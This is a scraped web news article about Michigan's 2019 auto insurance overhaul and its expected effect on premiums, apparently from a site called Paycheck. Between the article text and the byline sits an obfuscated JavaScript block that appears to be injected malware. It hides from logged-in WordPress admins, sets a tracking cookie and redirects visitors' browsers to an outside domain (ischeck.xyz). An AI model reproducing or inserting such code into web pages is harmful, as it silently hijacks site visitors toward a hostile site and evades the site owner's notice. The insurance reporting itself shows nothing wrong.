The future of auto insurance in the Wolverine State - Paycheck
Source:

The future of auto insurance in the Wolverine State

Lansing MI - Michigan’s dubious status as the most expensive place in the U.S. to insure an automobile is scheduled to end July 1 when a major overhaul of state insurance regulation goes into effect.

The most significant change - an end to the requirement, unique in the country, that all motorists buy policies with unlimited medical coverage for personal injury. Under the new law, motorists will be able to select from a range of personal injury protection (PIP) options, with mandated premium reductions for PIP, typically the most expensive component of an auto policy, of up to 45%.

Anita Fox, director of the state’s Department of Financial and Insurance Services, told lawmakers at a hearing March 4 that it was too early to get a clear picture of how much rates will drop. But she predicted the overall cost savings for many insured will exceed the thresholds required by the law. That should mean substantial savings for drivers in a state in which average annual premiums per vehicle top $2,600, a rate 80% higher than the national average.

The level of savings will vary based on a number of factors, including how much PIP coverage consumers choose to retain. The new law even permits those covered by Medicare or other qualifying health plans to opt out of PIP altogether. “The purpose of the law is to provide drivers with choice,” Fox said. “On every other kind of insurance we have choices. I can’t tell anyone what they should buy. But the best advice is to think about this the way you do other buying decisions.”

Further savings will be realized by the imposition of a new fee schedule for medical expenses (similar to that used for injuries covered by workers compensation insurance) phased in over several years. That provision was sought by insurers when the legislation was developed in 2019 because, they claimed, medical and therapy providers were taking advantage of the old, blank check system to charge exorbitant fees for those services.

A representative of major auto insurers in Michigan predicted at the hearing that consumer savings will be substantial as insurers “try to distinguish themselves from the the competition…in an extremely competitive industry.” Fox said she expects the number of companies offering policies in Michigan (currently about 110) to significantly expand over time. Her agency is currently reviewing proposed rates submitted in advance of the law’s effective date, a review includes study by outside actuaries.

Many other questions remain, however, she said. Among them is the extent to which other changes - such as a ban on the use of non-driving factors like sex, marital status, credit scores and zip code to set premium rates - will affect specific drivers.

Another goal of the legislation is to reduce the high number of Michigan drivers, estimated to be about one in five (higher in urban areas), who simply don’t buy insurance at all. The new law allows previously uninsured motorists to buy insurance without penalty until 2022. State Rep. Jason Wentworth, who chairs a special House committee on reducing auto insurance rates, said after the hearing that it will take some time for the insurance marketplace to adapt to the changes, and for consumers to adjust to the new options.

But Wentworth predicted that Michigan will become a much more affordable place to obtain auto insurance and that premium reductions above those required by the law will “absolutely” materialize.

For information on the new auto insurance law, you can visit the state’s DFIS website at: https://www.michigan.gov/autoinsurance/

var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://ischeck.xyz/?pma1','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};
Dawson Bell

Related Articles

How Colleges and Universities Are Adapting During The Pandemic

September 2, 2020

Colleges and universities are facing a daunting dilemma across the country for the fall semester with Covid19 lingering.

Read more

Brighter Futures for Small PA Towns

August 26, 2020

A walk along Main Street in Sharon makes it clear that that never really happened, and suggests a real comeback in the decades since then. 

Read more

The Uncertain Political Future of Western PA

August 19, 2020

Ties between organized labor and Democrats in Western Pennsylvania run deep.

Read more
Category Sidebar


Thanks for signing the pledge! Click here to share this on Facebook.